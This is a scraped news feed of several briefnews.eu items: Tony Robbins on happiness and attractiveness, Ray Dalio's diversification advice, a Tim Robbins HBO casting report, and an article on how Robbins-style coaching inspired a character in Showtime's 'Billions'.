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]]> https://briefnews.eu/what-tony-robbins-is-really-like-behind-the-scenes-at-his-private-fiji-estate/feed/ 0 TONY ROBBINS: ‘Trading your expectations for appreciation’ will make you more attractive https://briefnews.eu/tony-robbins-trading-your-expectations-for-appreciation-will-make-you-more-attractive/ https://briefnews.eu/tony-robbins-trading-your-expectations-for-appreciation-will-make-you-more-attractive/#respond Sun, 17 Dec 2017 18:05:18 +0000 http://briefnews.eu/tony-robbins-trading-your-expectations-for-appreciation-will-make-you-more-attractive/ Tony Robbins, best-selling author of “Money: Master the Game,” explains a simple behavioral change that you can make to become more attractive — and happier. Following is a transcript of the video.

Tony Robbins: If you want to be more attractive, make a decision to live in a beautiful state. To say, “I’m not going to give up my happiness over little stuff. I’m not going to be obsessed about things I can’t control. I’m going to focus on what I can control and what I can do.”

And when people are generous, when they’re playful, when they’re warm, when they’re sincere, when they’re loving, people love to be around them. There’s nothing more attractive. And when somebody is always bitching, they’re a bummer to be around. I mean just pick it out.

So what does it take to be more attractive? What it really takes is appreciating your life. Most people, their upsets are because their expectations aren’t met. You expect people to be a certain way. You expect yourself to be a certain way. You expect the government to be a certain way, and it isn’t. So, I always tell people “Trade your expectations for appreciation, and your whole life changes like that.”

If you can just start appreciating the people around you, appreciating this moment, appreciating things that you’re not noticing, you’ll live in a beautiful state and other people will find being around you an attractive or an enjoyable experience. It’s that simple.

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The Flash star Danielle Panabaker and her fiancé Hayes Robbins officially tied the knot!

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]]> https://briefnews.eu/the-flash-star-danielle-panabaker-and-her-fiance-hayes-robbins/feed/ 0 Tony Robbins: ‘I can tell you the secret to happiness in one word’ https://briefnews.eu/tony-robbins-i-can-tell-you-the-secret-to-happiness-in-one-word/ https://briefnews.eu/tony-robbins-i-can-tell-you-the-secret-to-happiness-in-one-word/#respond Tue, 21 Mar 2017 20:35:14 +0000 http://briefnews.eu/tony-robbins-i-can-tell-you-the-secret-to-happiness-in-one-word/ tony robbinsCourtesy of Tony Robbins.

Can the secret to happiness really be boiled down to a single word?

In his latest book, “Unshakeable,” Tony Robbins professes, “In fact, I can tell you the secret to happiness in one word: progress.”

As I wrote about in a previous article, the art of fulfillment is Tony Robbins’ greatest obsession today. This is because Tony Robbins believes that, “Success without fulfillment is the ultimate failure.”

In order to achieve the art of fulfillment, Tony Robbins advocates that the first step is that you must keep growing! This is why he believes that the secret to happiness is progress. And he’s not the only one who believes this.

In Tony Hsieh’s book, “Delivering Happiness,” he also spends a great deal of time on the topic of progress. Have you ever achieved a goal you’ve been working so hard for only to find emptiness when you thought you would feel fulfillment? That’s because true happiness is less about reaching your goal and more about making progress in all the areas of your life that are truly important to you.

Having money won’t make you rich 

In “Unshakeable,” Tony Robbins outlines the core principles of how to retire rich. But I SO appreciate that he doesn’t just stop there. Having more money in and of itself will not bring you happiness. And there’s nothing worse than a miserable rich person, is there?

“Money doesn’t change people,” says Tony Robbins. “It just magnifies who they already are: if you have a lot of money and you’re mean, then you have more to be mean with; if you have a lot of money and you’re generous, you’ll naturally give more.”

Making progress in all areas of your life 

As entrepreneurs, we tend to focus a bit myopically. When starting a business, we tend to give it everything we’ve got. And so when Tony Robbins talks about making progress, it’s not just about making progress in your business and your financial wealth. Making progress in multiple facets in your life is about designing your life, versus being a manager of your circumstances.

True happiness comes from progressing in all facets in your life; from your health to your family and from your relationships to your contributions. When you examine your life as a whole, the more progress you make toward the man or woman you wish to become, the more happy and fulfilled you will be.

“I designed the man you see before you,” Tony Robbins often says during his seminars. “This didn’t just happen. I designed the man I wanted to become.”

The takeaway

My takeaway here is that if you’re not happy with the way your life has turned out thus far, you always have the power to change who you are and who you want to become — in all facets of your life. That is why the art of fulfillment is Tony Robbins’ greatest obsession today.

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]]> https://briefnews.eu/tony-robbins-i-can-tell-you-the-secret-to-happiness-in-one-word/feed/ 0 The head of the world’s largest hedge fund told Tony Robbins his best investing advice for the average person https://briefnews.eu/the-head-of-the-worlds-largest-hedge-fund-told-tony-robbins-his-best-investing-advice-for-the-average-person/ https://briefnews.eu/the-head-of-the-worlds-largest-hedge-fund-told-tony-robbins-his-best-investing-advice-for-the-average-person/#respond Wed, 08 Mar 2017 15:16:03 +0000 http://briefnews.eu/the-head-of-the-worlds-largest-hedge-fund-told-tony-robbins-his-best-investing-advice-for-the-average-person/ Tony RobbinsSarah Jacobs

Tony Robbins, the high-energy performance coach who sells out arenas for his seminars, has made it his primary mission the past few years to spread personal finance literacy.

Starting with his client of nearly 30 years, the billionaire investor Paul Tudor Jones, Robbins interviewed 50 of the top financial minds in the United States to break down complex ideas for the average person.

One of these people was Ray Dalio, the founder of Bridgewater Associates, the world’s largest hedge fund with $ 150 billion in assets under management. Robbins writes in his new book “Unshakeable” that,”I’ve met a lot of extraordinary people over the years, but I’ve never met anyone smarter than Ray.”

Robbins recently came by Business Insider’s New York office for a Facebook Live Q&A where he discussed “Unshakeable,” a much slimmer version of his 2014 book “Money: Master the Game,” with additional insights from Peter Mallouk, who was rated the No. 1 wealth adviser in the US by Barron’s three times, and who brought Robbins into his firm Creative Planning in 2016.

Robbins told the audience that Dalio explained to him the importance of diversification and having sound investor psychology. We’ll break down these lessons using Robbins’ comments from the Q&A as well as his book.

You won’t beat the market.

Unless you’re one of the greatest investors on the planet, who also happens to be very lucky, you’re not going to craft a portfolio that brings you a higher return than had you just tracked the market’s longterm growth with an index fund.

“Before you try to beat the market, recognize that your likelihood of being successful is extremely small and ask yourself if you spent the time to train and prepare to be one of the few who actually wins,” Dalio told Robbins.

“If you know your limitations, you can adapt and succeed,” Dalio said. “If you don’t know them, you’re going to get hurt.”

Which leads to the next point.

Diversify.

ray dalioLarry Busacca/GettyIn the Facebook Live Q&A, Robbins said that Dalio told him that “people tend to invest in what heard about, what they read about, or what their family did” — and that’s a mistake.

“The problem is, every single asset class that you love will have a day where it drops 50 to 70% in a day,” Robbins said. “Dalio showed me this statistically on every asset you can look at. And he said, Tony, if it’s later in life, you have no time to make up for it.”

In “Unshakeable,” Robbins also includes four principles from the renowned economist Burton Malkiel, who told him:

  • “Diversify across different asset classes. Avoid putting all your money in real estate, stocks, bonds, or any single investment class.”
  • “Diversify within asset classes. Don’t put all your money in a favorite stock such as Apple, or a single MLP [a publicly traded partnership], or one piece of waterfront real estate that could be washed away in a storm.”
  • “Diversify across markets, countries, and currencies around the world. We live in a global economy, so don’t make the mistake of investing solely in your own country.”
  • “Diversify across time. You’re never going to know the right time to buy anything. But if you keep adding to your investments systematically over months and years … you’ll reduce your risk and increase your returns over time.”

For the average investor, it’s best to work with a fiduciary, a financial adviser who has pledged to value your interests over their own, to determine the best portfolio for your needs.

A good place to start on your own, however, is investing in an index fund, which allocates money across companies in an index, essentially giving you representative ownership of that market — which, again, will grow over time regardless of short-term performance.

Dalio told Robbins that in 1971, when President Richard Nixon took the US off the gold standard, he logically believed that stocks would plummet, but they skyrocketed. “What I realized is nobody knows and nobody ever will,” Dalio said. “So I have to design an asset allocation that, even if I’m wrong, I’ll still be okay.”

You can watch the full Facebook Live Q&A with Robbins below.

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]]> https://briefnews.eu/the-head-of-the-worlds-largest-hedge-fund-told-tony-robbins-his-best-investing-advice-for-the-average-person/feed/ 0 Tim Robbins to Play an Angsty Philosophy Professor in New Alan Ball Drama for HBO https://briefnews.eu/tim-robbins-to-play-an-angsty-philosophy-professor-in-new-alan-ball-drama-for-hbo/ https://briefnews.eu/tim-robbins-to-play-an-angsty-philosophy-professor-in-new-alan-ball-drama-for-hbo/#respond Wed, 22 Feb 2017 16:00:40 +0000 http://briefnews.eu/tim-robbins-to-play-an-angsty-philosophy-professor-in-new-alan-ball-drama-for-hbo/ In July, HBO announced it was greenlighting a new drama from Six Feet Under/ True Blood creator Alan Ball. Per The HollywoodReporter, the show will star Oscar winner Tim Robbins, who recently appeared alongside Jack Black in HBO’s short-lived political satire The Brink.

Robbins will play Greg, a philosophy professor with some serious existential angst that threatens his relationship with his lawyer wife, played by Holly Hunter, whose casting was announced in November. The show — for now still untitled — is a drama centered on an eclectic, multi-racial family with one biological child and three adopted children from three different countries: Somalia, Vietnam, and Colombia.

For Ball, the ten-episode drama follows the Cinemax action series Banshee, which he created and which ended its four-season run in May. As for Robbins, the show marks his return to television after The Brink failed to gain traction with viewers or with HBO, which announced it would renew the show during its first season but then reversed course and cancelled it. The details so far are scarce, but hey, if someone wants to create a family drama that isn’t This Is Us, I’m on board.

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]]> https://briefnews.eu/tim-robbins-to-play-an-angsty-philosophy-professor-in-new-alan-ball-drama-for-hbo/feed/ 0 How Wall Street psychologists and Tony Robbins inspired one of the main characters on Showtime’s ‘Billions’ https://briefnews.eu/how-wall-street-psychologists-and-tony-robbins-inspired-one-of-the-main-characters-on-showtimes-billions/ https://briefnews.eu/how-wall-street-psychologists-and-tony-robbins-inspired-one-of-the-main-characters-on-showtimes-billions/#respond Sun, 19 Feb 2017 23:27:15 +0000 http://briefnews.eu/how-wall-street-psychologists-and-tony-robbins-inspired-one-of-the-main-characters-on-showtimes-billions/ billions“Billions”/Showtime

For viewers of Showtime’s series “Billions,” the character Wendy Rhoades, an in-house hedge fund psychiatrist played by Maggie Siff, may seem to be a dramatic invention. After all, do Wall Street’s power players really need their egos boosted?

It turns out that there is indeed a niche industry for Wall Street psychiatrists and performance coaches, intended to get traders and investors back on their game, to avoid the loss of potentially millions of dollars of other people’s money.

Steve Cohen started the trend in the early 1990s when he hired the late psychiatrist Ari Kiev for his hedge fund SAC Capital, and Tony Robbins, the world’s most famous performance coach, entered the financial world around the same time when he was hired by renowned investor Paul Tudor Jones.

Denise Shull, founder of the Wall Street performance coaching firm the ReThink Group, was one of the consultants on “Billions,” and she told Business Insider that in this line of work, there are two general approaches: the cognitive-behavioral angle, in which thoughts are used to change behavior, and the psychodynamic angle, in which non-conscious thoughts and feelings tangentially related to one’s performance in the market are uncovered and addressed.

Most coaches or psychiatrists on Wall Street use different balances of both approaches, and both are on display in the character of Wendy Rhoades. We’ll take a look at how they appear in the show.

The Tony Robbins method

In the show’s pilot episode, the first time we see Rhoades with one of her clients, Mick Danzig. It’s a scene out of a Tony Robbins session, which isn’t a coincidence, since the show’s creators also used him as an inspiration for Rhoades’ character.

Rhoades is sitting across from Danzig in her office. He tells her he’s down 4% year-to-date while everyone else is crushing it.

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Wendy Rhoades: You don’t need meds. You’re just listening to the wrong voice. You’re tuned into the one yelling at you over the loud speaker that “You’re f—ing stupid and your performance blows.” And you’re ignoring the quiet one inside telling you where the alpha is. Now that’s the voice that got you here. And it’s still there if you’re willing to listen. What’s that voice telling you?”

Mick Danzig: That even though I’ve stiffed a few, that I’m pretty damn good.

Rhoades: Uh-uh. Stand up. Stand up! [They stand up.] What’d you take down last year?

Danzig: Seven-point-two million.

Rhoades: Seven-point-two million. Seven-point-two million. Feel that. [She puts her fist to her chest.]

Danzig: Seven-point-two million.

Rhoades: Bring it close. So what’s it saying?

Danzig: That I’m awesome!

Rhoades: There you go. And what does it have to say back? To that loud, critical voice?

Danzig: It’s saying, “F— you!”

Rhoades encouragingly punches him in the chest, as if they’re teammates on the football field, and then has him sat back down with her. Now that Danzig is fired up and not feeling sorry for himself, she tells him to go back to his desk and cut the losing investments he’s been holding onto.

She tells him to get rid of the bad investments and the bad voices, and that he needs to remember that he’s not at the firm by mistake, that he’s a winner. “Did the SEALs make a mistake signing you up? No!”

In an interview with Robbins last year, he told us that contrary to what some people believe, his approach is not merely positive thinking. “It’s not about positive thinking, because I don’t believe in that,” he said. “I don’t believe you should go to your garden and chant, ‘There’s no weeds, there’s no weeds, there’s no weeds,’ and think that that’s going to solve something. I’m a believer in ‘find the weed and rip it out.'”

In the “Billions” scene described above, Rhoades and Danzig perform the Robbins approach in miniature: Identify the weed, yank it out, and run back to your responsibilities, energized.

The digging method

The psychodynamic approach is on full display in Season 1’s penultimate episode, “Magical Thinking.” Rhoades and her boss, hedge fund manager Bobby Axelrod, spend a long night together getting to the bottom of why Axelrod just blew a major trade. The conversation unfolds throughout the episode, as the characters walk through the office and its grounds.

ReThink founder Denise Shull told us it’s akin to a conversation she would have with one of her clients.

The conversation between Rhoades and Axelrod is plot-heavy, but the general context is that Axelrod is unsure of why he made a bad trade, even after everyone he trusts told him it would fail. At one point, Rhoades gets him talking about his childhood.

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Bobby Axelrod: F—, when I was young, I was just thinking about getting rich and getting even.

Rhoades: Have you? Does it make everything all better?

Axelrod: Why doesn’t it?

Rhoades: Because the world isn’t simple. … Today. Bombing the trade. Were you somehow evening the score for Donny [Axelrod’s employee who died]?

Axelrod: What’s the even mean? Donny was a friend. Everyone here matters to me. And I’d go out of my way for all of them…

Rhoades: … So are you ready to tell me who you were trying to prove something to?

Axelrod: Yeah. Should we say it in unison?

Rhoades: And were you trying to prove you were a difference maker for good or bad? Were you trying to reward or punish yourself?

[As they make progress, Axelrod asks Rhoades why he hasn’t noticed his blind spot.]

Rhoades: Well, let’s assume your blind spot usually works for you. It’s fairly essential — if you don’t feel indestructible like Superman, how are you going to risk billions every morning? But it’s not working for you now. So you need to figure out what part of your self image is false. And then you need to either live up to it or lose it.

[The plot progresses. Rhoades has Axelrod speak out loud the question he has been hiding from, “Am I a sociopath?”]

Rhoades: This is how you manifest guilt. If you didn’t have it, you wouldn’t have lost the money, you wouldn’t be punishing yourself. But it is a crucial time. Your switchblade is removed, your wiring is exposed, your blue ones go where your red ones should, for sure. A normal person wouldn’t engage in the behavior; a sociopath wouldn’t give a shit. You’re somewhere in between. You are practiced at turning off your feelings. Do it enough, it’s a pattern, keep going, they die. So it’s either fix it, or close yourself back up and see what happens.

Shull told us the market is a sort of Rorschach test, reflecting someone’s personality, and that’s what’s being reflected in the scenes described above. The past plays a major role in this. “Someone’s actual background matters more than anything,” she said — just as it did for Axelrod.

And the same way Rhoades had Axelrod define his own problem and speak it, Shull has her clients identify the emotions they are connecting to their weaknesses, giving them a name and feeling them fully. “I’m going to help you feel all those sh—y things, frankly, that you don’t want to feel. Why? Because you basically have to go through a grieving process.”

Finally, she has clients redefine how they want to feel, as Rhoades does with her boss. “If you consciously exchange future feelings for each other, your chances of doing what you want to do, and having discipline, go wildly up,” she said.

“Billions” is loaded with high drama to keep it interesting, but next time you watch an episode, you can know that the coaching sessions are actually more realistic than you may have previously thought.

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